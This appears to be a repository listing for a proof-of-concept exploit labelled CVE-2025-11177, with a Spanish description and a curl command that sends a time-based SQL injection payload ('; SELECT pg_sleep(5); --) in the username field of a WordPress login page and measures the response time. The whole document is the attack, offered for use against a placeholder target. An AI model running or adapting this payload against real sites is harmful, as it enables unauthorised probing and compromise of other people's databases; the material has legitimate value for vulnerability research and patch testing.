jfriedli/cve-2025-11177Exploit de inyección SQL basada en tiempo para CVE-2025-11177 dirigido al inicio de sesión de WordPress con entrega de payload basada en curl y detección de sincronización pg_sleep.
curl -w '\nTIME:%{time_total}\n' -s \
-d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
-d 'redirect_to=' \
-d 'testcookie=1' \
'http://{target}/wp-login.php'